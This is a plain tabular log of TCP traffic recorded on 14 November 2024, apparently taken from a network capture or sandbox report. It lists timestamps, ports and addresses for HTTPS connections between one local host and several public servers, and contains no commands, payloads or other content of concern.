Nov 14, 2024 20:42:31.403840065 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.403855085 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.458822966 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.471599102 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.471769094 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.471815109 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.471829891 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.471930981 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.471990108 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.471998930 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472115993 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472157955 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.472166061 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472268105 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472312927 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.472321987 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472417116 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472462893 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.472470999 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472774982 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.472826958 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.478939056 CET	49736	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.478955984 CET	443	49736	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684360027 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684391022 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684408903 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684431076 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.684436083 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684456110 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.684474945 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.692779064 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.692821026 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.692837954 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.702265978 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.702311039 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.702332973 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.752639055 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.752660036 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.755618095 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.755717039 CET	443	49735	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:31.755772114 CET	49735	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:31.773952961 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:31.774002075 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:31.774055004 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:31.774569988 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:31.774585962 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:31.996211052 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:31.996289015 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:31.996359110 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:31.997591972 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:31.997634888 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.656527996 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.657390118 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.657413960 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.658626080 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.658699036 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.661138058 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.661195040 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.664550066 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.664695024 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.664701939 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.664731979 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.710798979 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.710824013 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:32.751013041 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:32.859627008 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.859816074 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:32.859836102 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.861447096 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.861538887 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:32.865852118 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:32.865940094 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.907536983 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:32.907557011 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:32.958220005 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:33.106211901 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.106273890 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.106303930 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.106331110 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.106338024 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.106374025 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.106394053 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.115627050 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.115711927 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.115720987 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.125386000 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.128041983 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.128050089 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.176104069 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.176141024 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.226866007 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.270416975 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.270487070 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.270556927 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.340178013 CET	49743	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:42:33.340214968 CET	443	49743	142.250.186.46	192.168.2.4
Nov 14, 2024 20:42:33.374059916 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:33.374152899 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:33.374239922 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:33.377125978 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:33.377166986 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.235865116 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.236054897 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.243973970 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.244025946 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.244359016 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.285392046 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.443073988 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.487325907 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.688393116 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.688487053 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.688576937 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.689184904 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.689184904 CET	49747	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.689253092 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.689291000 CET	443	49747	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.743870974 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.743917942 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:34.744115114 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.744507074 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:34.744565010 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.613802910 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.613881111 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.615041018 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.615055084 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.615729094 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.616720915 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.663331985 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.881006956 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.881447077 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.881514072 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.884088039 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.884110928 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:35.884125948 CET	49748	443	192.168.2.4	184.28.90.27
Nov 14, 2024 20:42:35.884133101 CET	443	49748	184.28.90.27	192.168.2.4
Nov 14, 2024 20:42:42.841193914 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:42.841331005 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:42.841538906 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:43.492141008 CET	49744	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:42:43.492198944 CET	443	49744	142.250.184.196	192.168.2.4
Nov 14, 2024 20:42:56.680738926 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:56.680785894 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:56.680860043 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:56.681451082 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:56.681490898 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:56.700229883 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.700251102 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:56.700416088 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.701536894 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.701553106 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:56.702344894 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.702435970 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:56.702594995 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.703871012 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:56.703905106 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.903465033 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.904630899 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.905566931 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.917366028 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.917376995 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.917458057 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.917479038 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.917831898 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.917855024 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.918507099 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.918566942 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.918845892 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.918920040 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.919373035 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.919599056 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.919651031 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.921370983 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.921453953 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.928402901 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.928600073 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.931765079 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.931930065 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.932049036 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.932260990 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.937253952 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.938901901 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:57.938941956 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.939305067 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.939352036 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.942687035 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:57.942920923 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:57.983359098 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:57.987186909 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.247796059 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.300447941 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.300509930 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.306267023 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.343069077 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.360810041 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.360881090 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.373658895 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.373717070 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.373920918 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.403939009 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.426908016 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.426944017 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.427086115 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.437374115 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.437490940 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.437546015 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.468534946 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.522233009 CET	49762	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.522310019 CET	443	49762	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.523751020 CET	49756	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.523817062 CET	443	49756	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.547720909 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.548141956 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.548194885 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.797633886 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.797683954 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.797877073 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.798563957 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.798613071 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.847008944 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.847094059 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.847219944 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.847677946 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:58.847711086 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:58.894745111 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.894802094 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.894879103 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.899235964 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.899269104 CET	443	49761	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:58.899286032 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.899319887 CET	49761	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.905613899 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:58.905646086 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:59.444875002 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:42:59.444962978 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:42:59.445064068 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:42:59.445369959 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:42:59.445410967 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:42:59.529409885 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.529452085 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.531333923 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.531333923 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.531366110 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.646406889 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.664849997 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.664885044 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.666181087 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.682086945 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.682303905 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.682491064 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.687124014 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.687186003 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.744509935 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.760169983 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.760236979 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.760965109 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.761038065 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:59.772916079 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.773029089 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.773183107 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:59.773243904 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:59.773596048 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:59.777848005 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:59.777925014 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:42:59.779438972 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.779505014 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.779659033 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.779812098 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:42:59.779829025 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:42:59.780121088 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:42:59.823419094 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.047269106 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.087491989 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.087507010 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.088279963 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.088573933 CET	443	49766	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.088681936 CET	49766	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.177989006 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.178035975 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.178245068 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.178312063 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.180047035 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.180114985 CET	443	49769	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.180217981 CET	49769	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.193058968 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.200396061 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.200417995 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.200576067 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.201050043 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.201066017 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.201627970 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.201693058 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.201762915 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.201906919 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:00.201936960 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:00.205552101 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:00.205638885 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:00.205750942 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:00.206172943 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:00.206209898 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:00.245773077 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.245798111 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.246103048 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.246226072 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.246478081 CET	443	49767	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.246543884 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.246543884 CET	49767	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.305547953 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.305794954 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.305826902 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.306355953 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.306524038 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.307373047 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.307533979 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.307560921 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.307672977 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.307699919 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.351356030 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.357896090 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.357959032 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.405905008 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.588517904 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.588632107 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.588710070 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.588726044 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.589344978 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.589438915 CET	443	49775	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.589500904 CET	49775	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.590521097 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.590607882 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.590692997 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.591116905 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:00.591152906 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:00.660387993 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.660480022 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:00.660636902 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.660969019 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:00.661012888 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.357215881 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.357657909 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.357666016 CET	443	49782	172.217.18.14	192.168.2.4
